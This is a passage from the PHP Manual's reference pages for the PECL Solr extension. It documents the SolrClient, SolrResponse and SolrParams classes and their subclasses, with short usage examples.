$update_response = $client->request("<commit/>");

$response = $update_response->getResponse();

print_r($response);
?>

The above example will output something similar to:

...

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::query
SolrClient::rollback
SolrClient


Rollbacks all add/deletes made to the index since the last commit

SolrClient::request
SolrClient::setResponseWriter
SolrClient
PHP Manual

SolrClient::rollback

(PECL solr >= 0.9.2)

SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit

Description

public SolrUpdateResponse SolrClient::rollback ( void )

Rollbacks all add/deletes made to the index since the last commit. It neither calls any event listeners nor creates a new searcher.

Parameters

This function has no parameters.

Return Values

Returns a SolrUpdateResponse on success or throws a SolrClientException on failure.

See Also

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::optimize() - Defragments the index

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::request
SolrClient::setResponseWriter
SolrClient


Sets the response writer used to prepare the response from Solr

SolrClient::rollback
SolrClient::setServlet
SolrClient
PHP Manual

SolrClient::setResponseWriter

(PECL solr >= 0.9.11)

SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr

Description

public void SolrClient::setResponseWriter ( string $responseWriter )

Sets the response writer used to prepare the response from Solr

Parameters

responseWriter

One of the following :

- xml
 - phpnative

Return Values

No value is returned.

Examples

Example #1 SolrClient::setResponseWriter() example

<?php

// This is my custom class for objects
class SolrClass
{
   public $_properties = array();

   public function __get($property_name) {

      if (property_exists($this, $property_name)) {

          return $this->$property_name;

      } else if (isset($_properties[$property_name])) {

          return $_properties[$property_name];
      }

      return null;
   }
}

$options = array
(
  'hostname' => 'localhost',
  'port' => 8983,
  'path' => '/solr/core1'
);

$client = new SolrClient($options);

// This uses the org.apache.solr.request.PHPNativeResponseWriter class on Solr
// Visit the following pages for more details
// https://issues.apache.org/jira/browse/SOLR-1967
// http://wiki.apache.org/solr/QueryResponseWriter
// http://wiki.apache.org/solr/SolPHP
$client->setResponseWriter("phpnative");

//$response = $client->ping();

$query = new SolrQuery();

$query->setQuery("*:*");

$query->set("objectClassName", "SolrClass");

$query->set("objectPropertiesStorageMode", 1); // 0 for independent properties, 1 for combined

try
{

$response = $client->query($query);

$resp = $response->getResponse();

print_r($response);

print_r($resp);

} catch (Exception $e) {

print_r($e);

}

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::rollback
SolrClient::setServlet
SolrClient


Changes the specified servlet type to a new value

SolrClient::setResponseWriter
SolrClient::threads
SolrClient
PHP Manual

SolrClient::setServlet

(PECL solr >= 0.9.2)

SolrClient::setServlet — Changes the specified servlet type to a new value

Description

public bool SolrClient::setServlet ( int $type , string $value )

Changes the specified servlet type to a new value

Parameters

type

One of the following :

- SolrClient::SEARCH_SERVLET_TYPE
 - SolrClient::UPDATE_SERVLET_TYPE
 - SolrClient::THREADS_SERVLET_TYPE
 - SolrClient::PING_SERVLET_TYPE
 - SolrClient::TERMS_SERVLET_TYPE

value

The new value for the servlet

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::setResponseWriter
SolrClient::threads
SolrClient


Checks the threads status

SolrClient::setServlet
SolrResponse
SolrClient
PHP Manual

SolrClient::threads

(PECL solr >= 0.9.2)

SolrClient::threads — Checks the threads status

Description

public void SolrClient::threads ( void )

Checks the threads status

Parameters

This function has no parameters.

Return Values

Returns a SolrGenericResponse object.

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::setServlet
SolrResponse
SolrClient


The SolrResponse class

(No version information available, might only be in SVN)

Introduction

Represents a response from the Solr server.

Class synopsis

abstract SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
protected integer $http_status ;
protected integer $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* Methods */
public string getDigestedResponse ( void )
public int getHttpStatus ( void )
public string getHttpStatusMessage ( void )
public string getRawRequest ( void )
public string getRawRequestHeaders ( void )
public string getRawResponse ( void )
public string getRawResponseHeaders ( void )
public string getRequestUrl ( void )
public SolrObject getResponse ( void )
public bool setParseMode ([ int $parser_mode = 0 ] )
public bool success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request.

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server.

http_raw_response

The response message from the server.

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrResponse Class Constants

SolrResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data
  • SolrResponse::getHttpStatus — Returns the HTTP status of the response
  • SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status
  • SolrResponse::getRawRequest — Returns the raw request sent to the Solr server
  • SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server
  • SolrResponse::getRawResponse — Returns the raw response from the server
  • SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server
  • SolrResponse::getRequestUrl — Returns the full URL the request was sent to
  • SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server
  • SolrResponse::setParseMode — Sets the parse mode
  • SolrResponse::success — Was the request a success

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::threads
SolrResponse::getDigestedResponse
Solr


Returns the XML response as serialized PHP data

SolrResponse
SolrResponse::getHttpStatus
SolrResponse
PHP Manual

SolrResponse::getDigestedResponse

(PECL solr >= 0.9.2)

SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data

Description

public string SolrResponse::getDigestedResponse ( void )

Returns the XML response as serialized PHP data

Parameters

This function has no parameters.

Return Values

Returns the XML response as serialized PHP data

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse
SolrResponse::getHttpStatus
SolrResponse


Returns the HTTP status of the response

SolrResponse::getDigestedResponse
SolrResponse::getHttpStatusMessage
SolrResponse
PHP Manual

SolrResponse::getHttpStatus

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatus — Returns the HTTP status of the response

Description

public int SolrResponse::getHttpStatus ( void )

Returns the HTTP status of the response.

Parameters

This function has no parameters.

Return Values

Returns the HTTP status of the response.

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getDigestedResponse
SolrResponse::getHttpStatusMessage
SolrResponse


Returns more details on the HTTP status

SolrResponse::getHttpStatus
SolrResponse::getRawRequest
SolrResponse
PHP Manual

SolrResponse::getHttpStatusMessage

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status

Description

public string SolrResponse::getHttpStatusMessage ( void )

Returns more details on the HTTP status.

Parameters

This function has no parameters.

Return Values

Returns more details on the HTTP status

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getHttpStatus
SolrResponse::getRawRequest
SolrResponse


Returns the raw request sent to the Solr server

SolrResponse::getHttpStatusMessage
SolrResponse::getRawRequestHeaders
SolrResponse
PHP Manual

SolrResponse::getRawRequest

(PECL solr >= 0.9.2)

SolrResponse::getRawRequest — Returns the raw request sent to the Solr server

Description

public string SolrResponse::getRawRequest ( void )

Returns the raw request sent to the Solr server.

Parameters

This function has no parameters.

Return Values

Returns the raw request sent to the Solr server

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getHttpStatusMessage
SolrResponse::getRawRequestHeaders
SolrResponse


Returns the raw request headers sent to the Solr server

SolrResponse::getRawRequest
SolrResponse::getRawResponse
SolrResponse
PHP Manual

SolrResponse::getRawRequestHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server

Description

public string SolrResponse::getRawRequestHeaders ( void )

Returns the raw request headers sent to the Solr server.

Parameters

This function has no parameters.

Return Values

Returns the raw request headers sent to the Solr server

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getRawRequest
SolrResponse::getRawResponse
SolrResponse


Returns the raw response from the server

SolrResponse::getRawRequestHeaders
SolrResponse::getRawResponseHeaders
SolrResponse
PHP Manual

SolrResponse::getRawResponse

(PECL solr >= 0.9.2)

SolrResponse::getRawResponse — Returns the raw response from the server

Description

public string SolrResponse::getRawResponse ( void )

Returns the raw response from the server.

Parameters

This function has no parameters.

Return Values

Returns the raw response from the server.

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getRawRequestHeaders
SolrResponse::getRawResponseHeaders
SolrResponse


Returns the raw response headers from the server

SolrResponse::getRawResponse
SolrResponse::getRequestUrl
SolrResponse
PHP Manual

SolrResponse::getRawResponseHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server

Description

public string SolrResponse::getRawResponseHeaders ( void )

Returns the raw response headers from the server.

Parameters

This function has no parameters.

Return Values

Returns the raw response headers from the server.

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getRawResponse
SolrResponse::getRequestUrl
SolrResponse


Returns the full URL the request was sent to

SolrResponse::getRawResponseHeaders
SolrResponse::getResponse
SolrResponse
PHP Manual

SolrResponse::getRequestUrl

(PECL solr >= 0.9.2)

SolrResponse::getRequestUrl — Returns the full URL the request was sent to

Description

public string SolrResponse::getRequestUrl ( void )

Returns the full URL the request was sent to.

Parameters

This function has no parameters.

Return Values

Returns the full URL the request was sent to

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getRawResponseHeaders
SolrResponse::getResponse
SolrResponse


Returns a SolrObject representing the XML response from the server

SolrResponse::getRequestUrl
SolrResponse::setParseMode
SolrResponse
PHP Manual

SolrResponse::getResponse

(PECL solr >= 0.9.2)

SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server

Description

public SolrObject SolrResponse::getResponse ( void )

Returns a SolrObject representing the XML response from the server.

Parameters

This function has no parameters.

Return Values

Returns a SolrObject representing the XML response from the server

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getRequestUrl
SolrResponse::setParseMode
SolrResponse


Sets the parse mode

SolrResponse::getResponse
SolrResponse::success
SolrResponse
PHP Manual

SolrResponse::setParseMode

(PECL solr >= 0.9.2)

SolrResponse::setParseMode — Sets the parse mode

Description

public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )

Sets the parse mode.

Parameters

parser_mode

SolrResponse::PARSE_SOLR_DOC parses documents in SolrDocument instances. SolrResponse::PARSE_SOLR_OBJ parses document into SolrObjects.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::getResponse
SolrResponse::success
SolrResponse


Was the request a success

SolrResponse::setParseMode
SolrQueryResponse
SolrResponse
PHP Manual

SolrResponse::success

(PECL solr >= 0.9.2)

SolrResponse::success — Was the request a success

Description

public bool SolrResponse::success ( void )

Used to check if the request to the server was successful.

Parameters

This function has no parameters.

Return Values

Returns TRUE if it was successful and FALSE if it was not.

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::setParseMode
SolrQueryResponse
SolrResponse


The SolrQueryResponse class

(No version information available, might only be in SVN)

Introduction

Represents a response to a query request.

Class synopsis

final SolrQueryResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server

http_raw_response

The response message from the server

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrQueryResponse Class constants

SolrQueryResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrQueryResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrQueryResponse::__construct — Constructor
  • SolrQueryResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.
SolrResponse::success
SolrQueryResponse::__construct
Solr


Constructor

SolrQueryResponse
SolrQueryResponse::__destruct
SolrQueryResponse
PHP Manual

SolrQueryResponse::__construct

(PECL solr >= 0.9.2)

SolrQueryResponse::__construct — Constructor

Description

public SolrQueryResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrQueryResponse
SolrQueryResponse::__destruct
SolrQueryResponse


Destructor

SolrQueryResponse::__construct
SolrUpdateResponse
SolrQueryResponse
PHP Manual

SolrQueryResponse::__destruct

(PECL solr >= 0.9.2)

SolrQueryResponse::__destruct — Destructor

Description

public void SolrQueryResponse::__destruct ( void )

Destructor.

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrQueryResponse::__construct
SolrUpdateResponse
SolrQueryResponse


The SolrUpdateResponse class

(No version information available, might only be in SVN)

Introduction

Represents a response to an update request.

Class synopsis

final SolrUpdateResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server

http_raw_response

The response message from the server

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrUpdateResponse Class Constants

SolrUpdateResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrUpdateResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrUpdateResponse::__construct — Constructor
  • SolrUpdateResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.
SolrQueryResponse::__destruct
SolrUpdateResponse::__construct
Solr


Constructor

SolrUpdateResponse
SolrUpdateResponse::__destruct
SolrUpdateResponse
PHP Manual

SolrUpdateResponse::__construct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__construct — Constructor

Description

public SolrUpdateResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrUpdateResponse
SolrUpdateResponse::__destruct
SolrUpdateResponse


Destructor

SolrUpdateResponse::__construct
SolrPingResponse
SolrUpdateResponse
PHP Manual

SolrUpdateResponse::__destruct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__destruct — Destructor

Description

public void SolrUpdateResponse::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrUpdateResponse::__construct
SolrPingResponse
SolrUpdateResponse


The SolrPingResponse class

(No version information available, might only be in SVN)

Introduction

Represents a response to a ping request to the server

Class synopsis

final SolrPingResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
/* Methods */
public __construct ( void )
public void __destruct ( void )
public string getResponse ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server

http_raw_response

The response message from the server

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrPingResponse Class Constants

SolrPingResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrPingResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrPingResponse::__construct — Constructor
  • SolrPingResponse::__destruct — Destructor
  • SolrPingResponse::getResponse — Returns the response from the server

User Contributed Notes

There are no user contributed notes for this page.
SolrUpdateResponse::__destruct
SolrPingResponse::__construct
Solr


Constructor

SolrPingResponse
SolrPingResponse::__destruct
SolrPingResponse
PHP Manual

SolrPingResponse::__construct

(PECL solr >= 0.9.2)

SolrPingResponse::__construct — Constructor

Description

public SolrPingResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrPingResponse
SolrPingResponse::__destruct
SolrPingResponse


Destructor

SolrPingResponse::__construct
SolrPingResponse::getResponse
SolrPingResponse
PHP Manual

SolrPingResponse::__destruct

(PECL solr >= 0.9.2)

SolrPingResponse::__destruct — Destructor

Description

public void SolrPingResponse::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrPingResponse::__construct
SolrPingResponse::getResponse
SolrPingResponse


Returns the response from the server

SolrPingResponse::__destruct
SolrGenericResponse
SolrPingResponse
PHP Manual

SolrPingResponse::getResponse

(PECL solr >= 0.9.2)

SolrPingResponse::getResponse — Returns the response from the server

Description

public string SolrPingResponse::getResponse ( void )

Returns the response from the server. This should be empty because the request as a HEAD request.

Parameters

This function has no parameters.

Return Values

Returns an empty string.

User Contributed Notes

There are no user contributed notes for this page.
SolrPingResponse::__destruct
SolrGenericResponse
SolrPingResponse


The SolrGenericResponse class

(No version information available, might only be in SVN)

Introduction

Represents a response from the solr server.

Class synopsis

final SolrGenericResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server

http_raw_response

The response message from the server

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrGenericResponse Class constants

SolrGenericResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrGenericResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrGenericResponse::__construct — Constructor
  • SolrGenericResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.
SolrPingResponse::getResponse
SolrGenericResponse::__construct
Solr


Constructor

SolrGenericResponse
SolrGenericResponse::__destruct
SolrGenericResponse
PHP Manual

SolrGenericResponse::__construct

(PECL solr >= 0.9.2)

SolrGenericResponse::__construct — Constructor

Description

public SolrGenericResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrGenericResponse
SolrGenericResponse::__destruct
SolrGenericResponse


Destructor

SolrGenericResponse::__construct
SolrParams
SolrGenericResponse
PHP Manual

SolrGenericResponse::__destruct

(PECL solr >= 0.9.2)

SolrGenericResponse::__destruct — Destructor

Description

public void SolrGenericResponse::__destruct ( void )

Destructor.

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrGenericResponse::__construct
SolrParams
SolrGenericResponse


The SolrParams class

(No version information available, might only be in SVN)

Introduction

Represents a collection of name-value pairs sent to the Solr server during a request.

Class synopsis

abstract SolrParams implements Serializable {
/* Methods */
final public SolrParams add ( string $name , string $value )
public SolrParams addParam ( string $name , string $value )
final public mixed get ( string $param_name )
final public mixed getParam ([ string $param_name ] )
final public array getParams ( void )
final public array getPreparedParams ( void )
final public string serialize ( void )
final public void set ( string $name , string $value )
public SolrParams setParam ( string $name , string $value )
final public string toString ([ bool $url_encode = false ] )
final public void unserialize ( string $serialized )
}

Table of Contents

  • SolrParams::add — This is an alias for SolrParams::addParam
  • SolrParams::addParam — Adds a parameter to the object
  • SolrParams::get — This is an alias for SolrParams::getParam
  • SolrParams::getParam — Returns a parameter value
  • SolrParams::getParams — Returns an array of non URL-encoded parameters
  • SolrParams::getPreparedParams — Returns an array of URL-encoded parameters
  • SolrParams::serialize — Used for custom serialization
  • SolrParams::set — An alias of SolrParams::setParam
  • SolrParams::setParam — Sets the parameter to the specified value
  • SolrParams::toString — Returns all the name-value pair parameters in the object
  • SolrParams::unserialize — Used for custom serialization

User Contributed Notes

There are no user contributed notes for this page.
SolrGenericResponse::__destruct
SolrParams::add
Solr


This is an alias for SolrParams::addParam

SolrParams
SolrParams::addParam
SolrParams
PHP Manual

SolrParams::add

(PECL solr >= 0.9.2)

SolrParams::add — This is an alias for SolrParams::addParam

Description

final public SolrParams SolrParams::add ( string $name , string $value )

This is an alias for SolrParams::addParam

Parameters

name

The name of the parameter

value

The value of the parameter

Return Values

Returns a SolrParams instance on success

User Contributed Notes

There are no user contributed notes for this page.
SolrParams
SolrParams::addParam
SolrParams


Adds a parameter to the object

SolrParams::add
SolrParams::get
SolrParams
PHP Manual

SolrParams::addParam

(PECL solr >= 0.9.2)

SolrParams::addParam — Adds a parameter to the object

Description

public SolrParams SolrParams::addParam ( string $name , string $value )

Adds a parameter to the object. This is used for parameters that can be specified multiple times.

Parameters

name

Name of parameter

value

Value of parameter

Return Values

Returns a SolrParam object on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::add
SolrParams::get
SolrParams


This is an alias for SolrParams::getParam

SolrParams::addParam
SolrParams::getParam
SolrParams
PHP Manual

SolrParams::get

(PECL solr >= 0.9.2)

SolrParams::get — This is an alias for SolrParams::getParam

Description

final public mixed SolrParams::get ( string $param_name )

This is an alias for SolrParams::getParam

Parameters

param_name

Then name of the parameter

Return Values

Returns an array or string depending on the type of parameter

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::addParam
SolrParams::getParam
SolrParams


Returns a parameter value

SolrParams::get
SolrParams::getParams
SolrParams
PHP Manual

SolrParams::getParam

(PECL solr >= 0.9.2)

SolrParams::getParam — Returns a parameter value

Description

final public mixed SolrParams::getParam ([ string $param_name ] )

Returns a parameter with name param_name

Parameters

param_name

The name of the parameter

Return Values

Returns a string or an array depending on the type of the parameter

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::get
SolrParams::getParams
SolrParams


Returns an array of non URL-encoded parameters

SolrParams::getParam
SolrParams::getPreparedParams
SolrParams
PHP Manual

SolrParams::getParams

(PECL solr >= 0.9.2)

SolrParams::getParams — Returns an array of non URL-encoded parameters

Description

final public array SolrParams::getParams ( void )

Returns an array of non URL-encoded parameters

Parameters

This function has no parameters.

Return Values

Returns an array of non URL-encoded parameters

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::getParam
SolrParams::getPreparedParams
SolrParams


Returns an array of URL-encoded parameters

SolrParams::getParams
SolrParams::serialize
SolrParams
PHP Manual

SolrParams::getPreparedParams

(PECL solr >= 0.9.2)

SolrParams::getPreparedParams — Returns an array of URL-encoded parameters

Description

final public array SolrParams::getPreparedParams ( void )

Returns an array on URL-encoded parameters

Parameters

This function has no parameters.

Return Values

Returns an array on URL-encoded parameters

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::getParams
SolrParams::serialize
SolrParams


Used for custom serialization

SolrParams::getPreparedParams
SolrParams::set
SolrParams
PHP Manual

SolrParams::serialize

(PECL solr >= 0.9.2)

SolrParams::serialize — Used for custom serialization

Description

final public string SolrParams::serialize ( void )

Used for custom serialization

Parameters

This function has no parameters.

Return Values

Used for custom serialization

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::getPreparedParams
SolrParams::set
SolrParams


An alias of SolrParams::setParam

SolrParams::serialize
SolrParams::setParam
SolrParams
PHP Manual

SolrParams::set

(PECL solr >= 0.9.2)

SolrParams::set — An alias of SolrParams::setParam

Description

final public void SolrParams::set ( string $name , string $value )

An alias of SolrParams::setParam

Parameters

name

Then name of the parameter

value

The parameter value

Return Values

Returns an instance of the SolrParams object on success

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::serialize
SolrParams::setParam
SolrParams


Sets the parameter to the specified value

SolrParams::set
SolrParams::toString
SolrParams
PHP Manual

SolrParams::setParam

(PECL solr >= 0.9.2)

SolrParams::setParam — Sets the parameter to the specified value

Description

public SolrParams SolrParams::setParam ( string $name , string $value )

Sets the query parameter to the specified value. This is used for parameters that can only be specified once. Subsequent calls with the same parameter name will override the existing value

Parameters

name

Name of the parameter

value

Value of the parameter

Return Values

Returns a SolrParam object on success and FALSE on value.

Examples

Example #1 SolrParams::setParam() example

<?php

$param = new SolrParam();

$param->setParam('q', 'solr')->setParam('rows', 2);

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::set
SolrParams::toString
SolrParams


Returns all the name-value pair parameters in the object

SolrParams::setParam
SolrParams::unserialize
SolrParams
PHP Manual

SolrParams::toString

(PECL solr >= 0.9.2)

SolrParams::toString — Returns all the name-value pair parameters in the object

Description

final public string SolrParams::toString ([ bool $url_encode = false ] )

Returns all the name-value pair parameters in the object

Parameters

url_encode

Whether to return URL-encoded values

Return Values

Returns a string on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::setParam
SolrParams::unserialize
SolrParams


Used for custom serialization

SolrParams::toString
SolrModifiableParams
SolrParams
PHP Manual

SolrParams::unserialize

(PECL solr >= 0.9.2)

SolrParams::unserialize — Used for custom serialization

Description

final public void SolrParams::unserialize ( string $serialized )

Used for custom serialization

Parameters

serialized

The serialized representation of the object

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::toString
SolrModifiableParams
SolrParams


The SolrModifiableParams class

(No version information available, might only be in SVN)

Introduction

Represents a collection of name-value pairs sent to the Solr server during a request.

Class synopsis

SolrModifiableParams extends SolrParams implements Serializable {
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
final public SolrParams SolrParams::add ( string $name , string $value )
public SolrParams SolrParams::addParam ( string $name , string $value )
final public mixed SolrParams::get ( string $param_name )
final public mixed SolrParams::getParam ([ string $param_name ] )
final public array SolrParams::getParams ( void )
final public array SolrParams::getPreparedParams ( void )
final public string SolrParams::serialize ( void )
final public void SolrParams::set ( string $name , string $value )
public SolrParams SolrParams::setParam ( string $name , string $value )
final public string SolrParams::toString ([ bool $url_encode = false ] )
final public void SolrParams::unserialize ( string $serialized )
}

Table of Contents

  • SolrModifiableParams::__construct — Constructor
  • SolrModifiableParams::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.
SolrParams::unserialize
SolrModifiableParams::__construct
Solr


Constructor

SolrModifiableParams
SolrModifiableParams::__destruct
SolrModifiableParams
PHP Manual

SolrModifiableParams::__construct

(PECL solr >= 0.9.2)

SolrModifiableParams::__construct — Constructor

Description

public SolrModifiableParams::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrModifiableParams
SolrModifiableParams::__destruct
SolrModifiableParams


Destructor

SolrModifiableParams::__construct
SolrQuery
SolrModifiableParams
PHP Manual

SolrModifiableParams::__destruct

(PECL solr >= 0.9.2)

SolrModifiableParams::__destruct — Destructor

Description

public void SolrModifiableParams::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrModifiableParams::__construct
SolrQuery
SolrModifiableParams


The SolrQuery class

(No version information available, might only be in SVN)

Introduction

Represents a collection of name-value pairs sent to the Solr server during a request.

Class synopsis

SolrQuery extends SolrModifiableParams implements Serializable {
/* Constants */
const integer ORDER_ASC = 0 ;
